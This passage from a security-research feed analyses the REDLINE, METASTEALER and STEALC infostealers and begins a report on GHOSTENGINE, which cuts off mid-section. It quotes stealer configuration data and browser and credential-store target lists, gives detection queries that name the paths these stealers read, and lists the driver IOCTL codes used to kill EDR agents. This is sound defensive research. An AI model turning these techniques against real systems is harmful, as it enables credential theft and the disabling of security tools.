<p><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer">REDLINE</a> made its debut in the threat landscape in 2020, leveraging email as its initial distribution method; it operates on a Malware-as-a-Service (MaaS) model, making it accessible to a wide range of threat actors. Its affordability and availability in underground forums have contributed to its popularity among cybercriminals.</p>
<p>The latest operations of REDLINE involve multiple infection vectors, including email phishing, malicious websites hosting seemingly legitimate applications, and social engineering tactics. Our researchers analyzed a recent sample <a href="https://x.com/vxunderground/status/1634713832974172167">reported by vx-underground</a> indicating a campaign targeting engineers on the freelancing platform Fiverr. This tactic poses significant risks, potentially leading to the compromise of companies through unsuspecting freelancers.</p>
<p>REDLINE is built on the .NET framework, which provides it with portability and ease of implementation. It has a variety of functionalities aimed at gathering vital system information and extracting sensitive data:</p>
<ul>
<li>System information acquisition:</li>
<li>Collects essential system details such as UserName, Language, and Time Zone</li>
<li>Retrieves hardware specifics including processor and graphic card information</li>
<li>Monitors running processes and identifies installed browsers</li>
<li>Data extraction:</li>
<li>Targets browser data repositories, extracting saved passwords, credit card details, cookies, and auto-fill entries</li>
<li>Procures VPN login credentials for unauthorized access</li>
<li>Logs user credentials and chat histories from platforms like Discord and Telegram</li>
<li>Identifies and steals cryptocurrency wallets, potentially compromising valuable digital assets:</li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt63821bb7873d29b4/6a7c864477b03485be3f964e/image13.png" alt="REDLINE collecting system information" title="REDLINE collecting system information" /></p>
<p>REDLINE uses a string obfuscation technique to hinder analysis and evade detection based on strings like yara by dynamically constructing the strings at runtime from an array of characters:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltbd42d23483c3babb/6a7c86472f00b26cb4ef8f17/image4.png" alt="REDLINE string obfuscation" title="REDLINE string obfuscation" /></p>
<p>Its configuration is structured within a static class, containing four public fields:  <code>IP</code>,  <code>ID</code>, <code>Message</code>, and an XOR Key. The <code>IP</code> and <code>ID</code> fields contents are encrypted using XOR encryption and then encoded in base64 as depicted below:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte06c366a6b72be44/6a7c86493ce8e2cf5acef7bf/image3.png" alt="REDLINE's configuration" title="REDLINE's configuration" /></p>
<h3 id="metastealer">METASTEALER</h3>
<p><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.metastealer">METASTEALER</a> emerged in 2022, initially advertised as a derivative of REDLINE, with additional features; our malware analysts recently encountered a sample of METASTEALER within a campaign masquerading as Roblox, previously <a href="https://x.com/CERT_OPL/status/1767191320790024484">reported by CERT as Orange Polska</a>. </p>
<p>METASTEALER is primarily developed using the .NET framework, facilitating its compatibility with Windows environments and enabling ease of implementation. Certain versions employ obfuscation methods, including obscuring the control flow of the malware and making it more challenging to detect or analyze.</p>
<p>This METASTEALER sample utilizes the <a href="https://www.secureteam.net/">AGILE.NET</a> obfuscator, specifically its proxy call obfuscation method. This technique is used to conceal the direct invocation of an original function by introducing an additional layer of abstraction. Instead of directly invoking the function, AGILE.NET generates a proxy method that then invokes the original function. This added complexity makes it more challenging for code analysts to discern the sequence of actions.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt59c6ab48d969c696/6a7c864cde2315298ffd1eb2/image9.png" alt="METASTEALER's obfuscation" title="METASTEALER's obfuscation" /></p>
<p>Looking at the code above, we can see the method <code>Delegate11.smethod_0</code> calls a <code>Delegate11.delegate11_0</code> which is not initialized, introducing ambiguity during static analysis as analysts cannot determine which method will actually be executed.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb2152b1aaa762975/6a7c864f96b5a61cd787560d/image14.png" alt="METASTEALER initializing the delegate" title="METASTEALER initializing the delegate" /></p>
<p>At runtime, the malware will initialize the delegate. by calling the method <code>Class4.smethod_13</code> in the constructor of <code>Delegate11</code> class, this method constructs a dictionary of token values, where each key represents the token value of a delegate (e.g., <code>0x040002DE</code>), and its corresponding value represents the token of the original method to be executed. This dictionary is constructed from a sequence of bytes stored in the binary, enabling dynamic resolution of method invocations during runtime.</p>
<p>Following this, it will generate a dynamic method for the delegate and execute it using the <code>smethod_0</code> function.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb470f08468801e25/6a7c865133fa8a40891fc9f7/image8.png" alt="METASTEALER generating delegates dynamic method" title="METASTEALER generating delegates dynamic method" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltbfbff41926149dfa/6a7c8654e3a2190da49997b1/image7.png" alt="METASTEALER checking for debuggers" title="METASTEALER checking for debuggers" /></p>
<p>All the important strings in the configuration, like the C2 IP address and port, are encrypted. The malware has a class called <code>Strings</code> that is called at the start of execution to decrypt all the strings at once, a process involving a combination of Base64 encoding, XOR decryption, and AES CBC decryption.</p>
<p>Initially, the AES parameters, such as the <code>AES KEY</code> and <code>AES IV</code>, undergo decryption. In the provided example, the <code>AES KEY</code> and <code>AES IV</code> are first base64 decoded. Subsequently, they are subjected to XOR decryption using a predetermined XOR key, followed by two consecutive base64 decoding steps.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt63f461f7875b8494/6a7c8657227b1c1fca592756/image1.png" alt="Encrypted AES parameters" title="Encrypted AES parameters" /></p>
<p>The Strings class holds byte arrays that are decrypted using AES CBC after being reversed, and then appended to the <strong>Strings.Array</strong> list. Later, when the malware requires specific strings, it accesses them by indexing this list. For example <strong>String.get(6)</strong>.</p>
<h3 id="stealc">STEALC</h3>
<p>A recent major player in the stealer space <a href="https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/">discovered</a> by Sekoia in February 2023 is the <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc">STEALC</a> family. This malware was first advertised in an underground forum in January 2023 where the developer mentioned a major dependency on existing families such as VIDAR, RACOON, and REDLINE. Since this timeframe, our team has observed new STEALC samples daily showing signs of popularity and adoption by cybercriminals.</p>
<p>STEALC is implemented in C and includes features like dynamic imports, string obfuscation, and various anti-analysis checks prior to activating its data-stealing capabilities. In order to protect the binary and its core features, STEALC encrypts its strings using a combination of Base64 + RC4 using a hardcoded key embedded in each sample.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4542fa109f4d53ce/6a7c865a2f00b2f2ffef8f1b/image10.png" alt="Embedded RC4 key and encrypted strings within STEALC" title="Embedded RC4 key and encrypted strings within STEALC" /></p>
<p>There are 6 separate functions used for anti-analysis/anti-sandbox checks within STEALC. Based on the number of processors, STEALC will terminate itself if the active processor count is less than 2.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt5d8069af71369e71/6a7c865db4377084534d10c8/image2.png" alt="Retrieve number of processors" title="Retrieve number of processors" /></p>
<p>STEALC performs a sandbox/emulation test using a more obscure Windows API (<code>VirtualAllocExNuma</code>) to allocate a large amount of memory. If the API is not implemented, the process will terminate.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte5f2112b277b7d6d/6a7c865fc33f4f5ff2d54afa/image15.png" alt="API check using VirtualAllocExNuma" title="API check using VirtualAllocExNuma" /></p>
<p>The malware performs another sandbox check by reading values from <code>GlobalMemoryStatusEx</code>. After a byte shift against the collected attributes of the physical memory, if the value is less than <code>0x457</code> the sample will terminate. </p>
<p>The malware will stop execution if the language identifier matches one of the following LangIDs:</p>
<ul>
<li>Russian_Russia  (<code>0x419</code>)</li>
<li>Ukrainian_Ukraine  (<code>0x422</code>)</li>
<li>Belarusian_Belarus (<code>0x423</code>)</li>
<li>Kazakh_Kazakhstan (<code>0x43f</code>)</li>
<li>Uzbek_Latin__Uzbekistan (<code>0x443</code>)</li>
</ul>
<p>STEALC also incorporates the Microsoft Defender emulation check, we have observed this in many stealers such as seen in <a href="https://www.elastic.co/security-labs/elastic-security-labs-discovers-lobshot-malware">LOBSHOT</a>. STEALC will terminate if the following hard-coded values match inside Microsoft Defender’s emulation layer with the username <code>JohnDoe</code> and computer name of <code>HAL9TH</code>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt590abbbb751d3006/6a7c8662de2315387efd1eb6/image12.png" alt="Microsoft Defender emulation check using computer name and username" title="Microsoft Defender emulation check using computer name and username" /></p>
<p>One of the more impactful anti-analysis checks that comes with STEALC is an expiration date. This unique value gets placed into the malware’s config to ensure that the stealer won’t execute after a specific date set by the builder. This allows the malware to keep a lower profile by using shorter turnarounds in campaigns and limiting the execution in sandbox environments.</p>
<h4 id="stealcexecutionflow">STEALC - Execution flow</h4>
<p>After its initial execution, STEALC will send the initial hardware ID of the machine and receive a configuration from the C2 server:</p>
<pre><code>f960cc969e79d7b100652712b439978f789705156b5a554db3acca13cb298050efa268fb|done|tested.file|1|1|1|1|1|1|1|1|
</code></pre>
<p>After this request, it will send multiple requests to receive an updated list of targeted browsers and targeted browser extensions. Below is an example of the browser configuration, this contains the targeted directory path where the sensitive data is stored.</p>
<pre><code>Google Chrome|\Google\Chrome\User Data|chrome|chrome.exe|Google Chrome Canary|\Google\Chrome SxS\User Data|chrome|chrome.exe|Chromium|\Chromium\User Data|chrome|chrome.exe|Amigo|\Amigo\User Data|chrome|0|Torch|\Torch\User Data|chrome|0|Vivaldi|\Vivaldi\User Data|chrome|vivaldi.exe|Comodo Dragon|\Comodo\Dragon\User Data|chrome|0|EpicPrivacyBrowser|\Epic Privacy Browser\User Data|chrome|0|CocCoc|\CocCoc\Browser\User Data|chrome|0|Brave|\BraveSoftware\Brave-Browser\User Data|chrome|brave.exe|Cent Browser|\CentBrowser\User Data|chrome|0|7Star|\7Star\7Star\User Data|chrome|0|Chedot Browser|\Chedot\User Data|chrome|0|Microsoft Edge|\Microsoft\Edge\User Data|chrome|msedge.exe|360 Browser|\360Browser\Browser\User Data|chrome|0|QQBrowser|\Tencent\QQBrowser\User Data|chrome|0|CryptoTab|\CryptoTab Browser\User Data|chrome|browser.exe|Opera Stable|\Opera Software|opera|opera.exe|Opera GX Stable|\Opera Software|opera|opera.exe|Mozilla Firefox|\Mozilla\Firefox\Profiles|firefox|0|Pale Moon|\Moonchild Productions\Pale Moon\Profiles|firefox|0|Opera Crypto Stable|\Opera Software|opera|opera.exe|Thunderbird|\Thunderbird\Profiles|firefox|0|
</code></pre>
<p>At this point, STEALC will then collect a broad range of victim information. This information is then formatted, Base64 encoded, and then sent to the C2 server over POST requests using form data fields. </p>
<ul>
<li>Hardware ID</li>
<li>Windows OS product info</li>
<li>Processor / RAM information</li>
<li>Username / computername</li>
<li>Local system time / time zone / locale of victim</li>
<li>Keyboard layout</li>
<li>Battery check (used to determine if laptop or not)</li>
<li>Desktop resolution, display info</li>
<li>Installed programs, running processes</li>
</ul>
<p>For the stealing component, STEALC leverages the received configurations in order to collect various valuable information including:</p>
<ul>
<li>Browser cookies</li>
<li>Login data</li>
<li>Web data</li>
<li>History</li>
<li>Cryptocurrency wallets</li>
</ul>
<p>STEALC also offers other various configuration options including:</p>
<ul>
<li>Telegram data</li>
<li>Discord</li>
<li>Tox</li>
<li>Pidgin</li>
<li>Steam</li>
<li>Outlook emails</li>
</ul>
<p>|  | RedLine Stealer | Meta Stealer | Stealc |
| --- | --- | --- | --- |
| First time seen in the wild | 2020 | 2022 | 2023 |
| Source Language | C# | C# | C |
| Average size (unpacked) | 253 KB | 278 KB | 107 KB |
| String obfuscation? Algo? | Yes | Yes | Yes (custom RC4 + base64) |</p>
<h2 id="detection">Detection</h2>
<p>To fully leverage detection capabilities listed below for these threats with Elastic Security, it is essential to integrate <a href="https://docs.elastic.co/en/integrations/endpoint">Elastic Defend</a> and <a href="https://docs.elastic.co/en/integrations/windows">Windows</a>.</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/command_and_control_connection_to_webservice_by_an_unsigned_binary.toml">Connection to WebService by an Unsigned Binary</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/command_and_control_connection_to_webservice_by_a_signed_binary_proxy.toml">Connection to WebService by a Signed Binary Proxy</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/command_and_control_suspicious_dns_query_from_mounted_virtual_disk.toml">Suspicious DNS Query from Mounted Virtual Disk</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/credential_access_suspicious_access_to_web_browser_credential_stores.toml">Suspicious Access to Web Browser Credential Stores</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/credential_access_web_browser_credential_access_via_unsigned_process.toml">Web Browser Credential Access via Unsigned Process</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/credential_access_access_to_browser_credentials_from_suspicious_memory.toml">Access to Browser Credentials from Suspicious Memory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/credential_access_failed_access_attempt_to_web_browser_files.toml">Failed Access Attempt to Web Browser Files</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/credential_access_web_browser_credential_access_via_unusual_process.toml">Web Browser Credential Access via Unusual Process</a></li>
</ul>
<h3 id="esqlqueries">ES|QL queries</h3>
<p>The following list of hunts and detection queries can be used to detect stealers activities:</p>
<ul>
<li>Identifies untrusted or unsigned executables making DNS requests to Telegram or Discord domains, which may indicate command-and-control communication attempts.</li>
</ul>
<pre><code>  from logs-endpoint*
  | where (process.code_signature.trusted == false or process.code_signature.exists == false)
  | where dns.question.name in ("api.telegram.com", "cdn.discordapp.com",
                                  "discordapp.com", "discord.com","discord.gg","cdn.discordapp.com")
  | stats executable_count = count(*) by process.executable, process.name, dns.question.name
  | sort executable_count desc
</code></pre>
<ul>
<li>Detects suspicious activies targeting crypto wallets files and configurations stored on Windows systems.</li>
</ul>
<pre><code>  from logs-endpoint.events.file-*
  | where @timestamp &gt; now() - 14 days
  | where host.os.type == "windows"
  and event.category == "file"
  and event.action == "open" 
  and (
    file.path rlike """C:\\Users\\.+\\AppData\\Roaming\\.+\\(Bitcoin|Ethereum|Electrum|Zcash|Monero|Wallet|Litecoin|Dogecoin|Coinbase|Exodus|Jaxx|MyEtherWallet|MetaMask)\\.*"""
    or file.path rlike """C:\\ProgramData\\.+\\(Bitcoin|Ethereum|Electrum|Zcash|Monero|Wallet|Litecoin|Dogecoin|Coinbase|Exodus|Jaxx|MyEtherWallet|MetaMask)\\.*"""
  )
  | keep process.executable, process.name, host.id, file.path, file.name
  | stats number_hosts = count_distinct(host.id), unique_files = count_distinct(file.name) by process.executable
  | where number_hosts == 1 and unique_files &gt;= 3
  | sort number_hosts desc
</code></pre>
<ul>
<li>Monitors access to sensitive browser data, such as cookies, login data, and browsing history, which may indicate information-stealing malware activities.</li>
</ul>
<pre><code>  from logs-endpoint.events.file-*, logs-windows.sysmon_operational-default-*
  | where @timestamp &gt; now() - 14 days
  | where host.os.type == "windows"
  and event.category == "file"
  and event.action in ("open", "modification")
  and (
    file.path rlike "C:\\\\Users\\\\.+\\\\AppData\\\\Local\\\\(Google\\\\Chrome\\\\User Data\\\\.*|Google\\\\Chrome SxS\\\\User Data\\\\.*|Chromium\\\\User Data\\\\.*|Amigo\\\\User Data\\\\.*|Torch\\\\User Data\\\\.*|Vivaldi\\\\User Data\\\\.*|Comodo\\\\Dragon\\\\User Data\\\\.*|Epic Privacy Browser\\\\User Data\\\\.*|CocCoc\\\\Browser\\\\User Data\\\\.*|BraveSoftware\\\\Brave-Browser\\\\User Data\\\\.*|CentBrowser\\\\User Data\\\\.*|7Star\\\\7Star\\\\User Data\\\\.*|Chedot\\\\User Data\\\\.*|Microsoft\\\\Edge\\\\User Data\\\\.*|360Browser\\\\Browser\\\\User Data\\\\.*|Tencent\\\\QQBrowser\\\\User Data\\\\.*|CryptoTab Browser\\\\User Data\\\\.*|Opera Software\\\\Opera Stable\\\\.*|Opera Software\\\\Opera GX Stable\\\\.*)\\\\(Default|Profile \\\\d+)\\\\(Cookies|Login Data|Web Data|History|Bookmarks|Preferences|Visited Links|Network Action Predictor|Top Sites|Favicons|Shortcuts)"
    or file.path rlike "C:\\\\Users\\\\.+\\\\AppData\\\\Roaming\\\\Mozilla\\\\Firefox\\\\Profiles\\\\.*\\\\(cookies.sqlite|logins.json|places.sqlite|key4.db|cert9.db)"
    or file.path rlike "C:\\\\Users\\\\.+\\\\AppData\\\\Roaming\\\\Moonchild Productions\\\\Pale Moon\\\\Profiles\\\\.*\\\\(cookies.sqlite|logins.json|places.sqlite|key3.db|cert8.db)"
    or file.path rlike "C:\\\\Users\\\\.+\\\\AppData\\\\Roaming\\\\Thunderbird\\\\Profiles\\\\.*\\\\(cookies.sqlite|logins.json|key4.db|cert9.db)"
  )
  | keep process.executable, process.name, event.action, host.id, host.name, file.path, file.name
  | eval process_path = replace(process.executable, "([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}|ns[a-z][A-Z0-9]{3,4}\\.tmp|DX[A-Z0-9]{3,4}\\.tmp|7z[A-Z0-9]{3,5}\\.tmp|[0-9\\.\\-_]{3,})", "")
  | eval process_path = replace(process_path, "[cC]:\\\\[uU][sS][eE][rR][sS]\\\\[a-zA-Z0-9\\.\\-_\\$~ ]+\\\\", "C:\\\\users\\\\user\\\\")
  | eval normalized_file_path = replace(file.path, "[cC]:\\\\[uU][sS][eE][rR][sS]\\\\[a-zA-Z0-9\\.\\-_\\$~ ]+\\\\", "C:\\\\users\\\\user\\\\")
  | stats number_hosts = count_distinct(host.id) by process.executable, process.name, event.action, normalized_file_path, file.name, host.name
  | where number_hosts == 1
  | sort number_hosts desc
</code></pre>
<h3 id="yararules">Yara rules</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_MetaStealer.yar">Windows Trojan MetaStealer</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Stealc.yar">Windows Trojan Stealc</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_RedLineStealer.yar">Windows Trojan RedLineStealer</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_AgentTesla.yar">Windows Trojan AgentTesla</a></li>
</ul>
<h2 id="conclusion">Conclusion</h2>
<p>In conclusion, it's crucial to recognize that these malware threats pose significant risks to both companies and individuals alike. Their affordability makes them accessible not only to sophisticated cybercriminals but also to small-time offenders and script kiddies. This accessibility underscores the democratisation of cybercrime, where even individuals with limited technical expertise can deploy malicious software.</p>
<p>Elastic's comprehensive suite of security features offers organisations and individuals the tools they need to defend against malware attacks effectively. From advanced threat detection to real-time monitoring and response capabilities.</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/threat-command/globally-distributed-stealers</link>
    <guid isPermaLink="false">globally-distributed-stealers</guid>
    <category><![CDATA[Malware Analysis]]></category>
    <dc:creator><![CDATA[Salim Bitam,Daniel Stepanic,Terrance DeJesus,Samir Bousseaden]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd1680a43c6248ca4/6a7c8665b43770d2e74d10cc/Security_Labs_Images_25.jpg" length="0" type="image/jpeg"/>
    <pubDate>Fri, 24 May 2024 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Invisible miners: unveiling GHOSTENGINE’s crypto mining operations]]></title>
    <description><![CDATA[Elastic Security Labs has identified REF4578, an intrusion set incorporating several malicious modules and leveraging vulnerable drivers to disable known security solutions (EDRs) for crypto mining.]]></description>
    <content:encoded><![CDATA[<h2 id="preamble">Preamble</h2>
<p>Elastic Security Labs has identified an intrusion set incorporating several malicious modules and leveraging vulnerable drivers to disable known security solutions (EDRs) for crypto mining. Additionally, the team discovered capabilities to establish persistence, install a previously undocumented backdoor, and execute a crypto-miner. We refer to this intrusion set as REF4578 and the primary payload as GHOSTENGINE (tangental research by the team at Antiy has named parts of this intrusion set <a href="https://www.antiy.com/response/HideShoveling.html">HIDDENSHOVEL</a>).</p>
<h2 id="keytakeaways">Key takeaways</h2>
<ul>
<li>Malware authors incorporated many contingency and duplication mechanisms</li>
<li>GHOSTENGINE leverages vulnerable drivers to terminate and delete known EDR agents that would likely interfere with the deployed and well-known coin miner</li>
<li>This campaign involved an uncommon amount of complexity to ensure both the installation and persistence of the XMRIG miner</li>
</ul>
<h2 id="codeanalysis">Code analysis</h2>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt0587a9a8ec8a579f/6a7c882b73d9bd3aa2297cdc/image4.png" alt="REF4578 execution flow" title="REF4578 execution flow" /></p>
<p>On May 6, 2024, at 14:08:33 UTC,  the execution of a PE file named <code>Tiworker.exe</code> (masquerading as the legitimate Windows <code>TiWorker.exe</code> file) signified the beginning of the REF4578 intrusion. The following alerts were captured in telemetry, indicating a known vulnerable driver was deployed.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt3dbd7ebdfa7980b8/6a7c882e437e0f174bdd56c7/image8.png" alt="REF4578 executes Tiworker to start the infection chain" title="REF4578 executes Tiworker to start the infection chain" /></p>
<p>Upon execution, this file downloads and executes a PowerShell script that orchestrates the entire execution flow of the intrusion. Analysis revealed that this binary executes a hardcoded PowerShell command line to retrieve an obfuscated script, <code>get.png,</code> which is used to download further tools, modules, and configurations from the attacker C2– as depicted in the screenshot below.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt37342744ad4d9b28/6a7c883151156ac0ae2bc9eb/image10.png" alt="Downloading get.png" title="Downloading get.png" /></p>
<h3 id="ghostengine">GHOSTENGINE</h3>
<p>GHOSTENGINE is responsible for retrieving and executing modules on the machine. It primarily uses HTTP to download files from a configured domain, with a backup IP in case domains are unavailable. Additionally, it employs FTP as a secondary protocol with embedded credentials. The following is a summary of the execution flow:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb0c2598b68876e7f/6a7c883473d9bd7e39297ce0/image11.png" alt="The get.png PowerShell script" title="The get.png PowerShell script" /></p>
<p>This script downloads and executes <code>clearn.png</code>, a component designed to purge the system of remnants from prior infections belonging to the same family but different campaign; it removes malicious files under <code>C:\Program Files\Common Files\System\ado</code> and <code>C:\PROGRA~1\COMMON~1\System\ado\</code> and removes the following scheduled tasks by name:</p>
<ul>
<li><code>Microsoft Assist Job</code></li>
<li><code>System Help Center Job</code></li>
<li><code>SystemFlushDns</code></li>
<li><code>SystemFlashDnsSrv</code></li>
</ul>
<p>Evidence of those scheduled task artifacts may be indicators of a prior infection.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte74e170d5cc67908/6a7c883780ee38f8b460d20b/image12.png" alt="clearn.png removing any infections from previous campaigns" title="clearn.png removing any infections from previous campaigns" /></p>
<p>During execution, it attempts to disable Windows Defender and clean the following Windows event log channels: </p>
<ul>
<li><code>Application</code></li>
<li><code>Security</code></li>
<li><code>Setup</code></li>
<li><code>System</code></li>
<li><code>Forwarded Events</code></li>
<li><code>Microsoft-Windows-Diagnostics-Performance</code></li>
<li><code>Microsoft-Windows-AppModel-Runtime/Operational</code></li>
<li><code>Microsoft-Windows-Winlogon/Operational</code></li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb8c98f8f366d01c7/6a7c883b51156ad4d22bc9f1/image13.png" alt="get.png clearing Windows log channels" title="get.png clearing Windows log channels" /></p>
<p><code>get.png</code> disables Windows Defender, enables remote services, and clears the contents of:</p>
<ul>
<li><code>C:\Windows\Temp\</code></li>
<li><code>C:\Windows\Logs\</code></li>
<li><code>C:\$Recycle.Bin\</code></li>
<li><code>C:\windows\ZAM.krnl.trace</code></li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt5742b5d06823cd84/6a7c883ee02fac84c75d05e9/image6.png" alt="get.png disabling Windows Defender and enabling remote services" title="get.png disabling Windows Defender and enabling remote services" /></p>
<p><code>get.png</code> also verifies that the <code>C:\</code> volume has at least 10 MB of free space to download files, storing them in <code>C:\Windows\Fonts</code>. If not, it will try to delete large files from the system before looking for another suitable volume with sufficient space and creating a folder under <code>$RECYCLE.BIN\Fonts</code>.</p>
<p>To get the current DNS resolution for the C2 domain names, GHOSTENGINE uses a hardcoded list of DNS servers, <code>1.1.1.1</code> and <code>8.8.8.8</code>.</p>
<p>Next, to establish persistence, <code>get.png</code> creates the following scheduled tasks as <code>SYSTEM</code>:</p>
<ul>
<li><strong>OneDriveCloudSync</strong> using <code>msdtc</code>to run  the malicious service DLL <code>C:\Windows\System32\oci.dll</code> every 20 minutes (described later)</li>
<li><strong>DefaultBrowserUpdate</strong> to run <code>C:\Users\Public\run.bat,</code> which downloads the <code>get.png</code> script and executes it every 60 minutes</li>
<li><strong>OneDriveCloudBackup</strong> to execute <code>C:\Windows\Fonts\smartsscreen.exe</code> every 40 minutes</li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt60f38443f25f71df/6a7c884105b7b5be61185b4f/image21.png" alt="Scheduled tasks for persistence" title="Scheduled tasks for persistence" /></p>
<p><code>get.png</code> terminates all <code>curl.exe</code> processes and any PowerShell process with <code>*get.png*</code> in its command line, excluding the current process. This is a way to terminate any concurrently running instance of the malware.</p>
<p>This script then downloads  <code>config.txt</code>, a JSON file containing the hashes of the PE files it retrieved. This file verifies whether any updated binaries are to be downloaded by checking the hashes of the previously downloaded files from any past infections.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2b401f0e69b73eed/6a7c88443ce8e2804ccef7eb/image9.png" alt="config.txt file used to check for updated binaries" title="config.txt file used to check for updated binaries" /></p>
<p>Finally,<code>get.png</code> downloads all of its modules and various PE files. Below is a table containing a description of each downloaded file:</p>
<p>| path                                           | Type              | Description                                                                                                                                |
|------------------------------------------------|-------------------|--------------------------------------------------------------------------------------------------------------------------------------------|
| <code>C:\Windows\System32\drivers\aswArPots.sys</code>      | Kernel driver     | Vulnerable driver from Avast                                                                                                               |
| <code>C:\Windows\System32\drivers\IObitUnlockers.sys</code> | Kernel driver     | Vulnerable driver from IObit                                                                                                               |
| <code>C:\Windows\Fonts\curl.exe</code>                      | PE executable     | Used to download files via cURL                                                                                                            |
| <code>C:\Windows\Fonts\smartsscreen.exe</code>              | PE executable     | Core payload (GHOSTENGINE), its main purpose is to deactivate security instrumentation, complete initial infection, and execute the miner. |
| <code>C:\Windows\System32\oci.dll</code>                    | Service DLL       | Persistence/updates module                                                                                                                 |
| <code>backup.png</code>                                     | Powershell script | Backdoor module                                                                                                                            |
| <code>kill.png</code>                                       | Powershell script | A PowerShell script that injects and executes a PE file responsible for killing security sensors                                           |</p>
<h3 id="ghostenginemodules">GHOSTENGINE modules</h3>
<p>GHOSTENGINE deploys several modules that can tamper with security tools, create a backdoor, and check for software updates.</p>
<h4 id="edragentcontrollerandminermodulesmartsscreenexe">EDR agent controller and miner module: smartsscreen.exe</h4>
<p>This module primarily terminates any active EDR agent processes before downloading and installing a crypto-miner.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt7079745bece8943b/6a7c8846da3d05782f633e6d/image20.png" alt="smartscreen.exe GHOSTENGINE module" title="smartscreen.exe GHOSTENGINE module" /></p>
<p>The malware scans and compares all the running processes with a hardcoded list of known EDR agents. If there are any matches, it first terminates the security agent by leveraging the Avast Anti-Rootkit Driver file <code>aswArPots.sys</code> with the IOCTL <code>0x7299C004</code> to terminate the process by PID.</p>
<p><code>smartscreen.exe</code> is then used to delete the security agent binary with another vulnerable driver, <code>iobitunlockers.sys</code> from IObit, with the IOCTL <code>0x222124</code>.</p>
<p><code>smartscreen.exe</code> then downloads the XMRig client mining program (<code>WinRing0x64.png</code>) from the C2 server as <code>taskhostw.png</code>. Finally, it executes XMRig, its drivers, and the configuration file <code>config.json</code>, starting the mining process.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4d9d9eb540996181/6a7c8849e3a2191f2a9997f7/image19.png" alt="smartscreen.exe executing XMRig" title="smartscreen.exe executing XMRig" /></p>
<h4 id="updatepersistencemoduleocidll">Update/Persistence module: oci.dll</h4>
<p>The PowerShell script creates a service DLL (<code>oci.dll</code>), a phantom DLL loaded by <code>msdtc</code>. The DLL's architecture varies depending on the machine; it can be 32-bit or 64-bit. Its primary function is to create system persistence and download any updates from the C2 servers by downloading the <code>get.png</code> script from the C2 and executing it.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt569f5143b3bfb003/6a7c884ce3a21974799997fb/image3.png" alt="oci.dll persistence/update mechanism" title="oci.dll persistence/update mechanism" /></p>
<p>Every time the <code>msdtc&lt;strong&gt; &lt;/strong&gt;</code>service starts, it will load <code>oci.dll</code> to spawn the PowerShell one-liner that executes <code>get.png</code> : </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltfda733cb07a36fe4/6a7c884f3ce8e24ec7cef7ef/image23.png" alt="oci.dll downloading and executing get.png" title="oci.dll downloading and executing get.png" /></p>
<h4 id="edragentterminationmodulekillpng">EDR agent termination module: <code>kill.png</code></h4>
<p><code>kill.png</code> is a PowerShell script that injects shellcode into the current process, decrypting and loading a PE file into memory.</p>
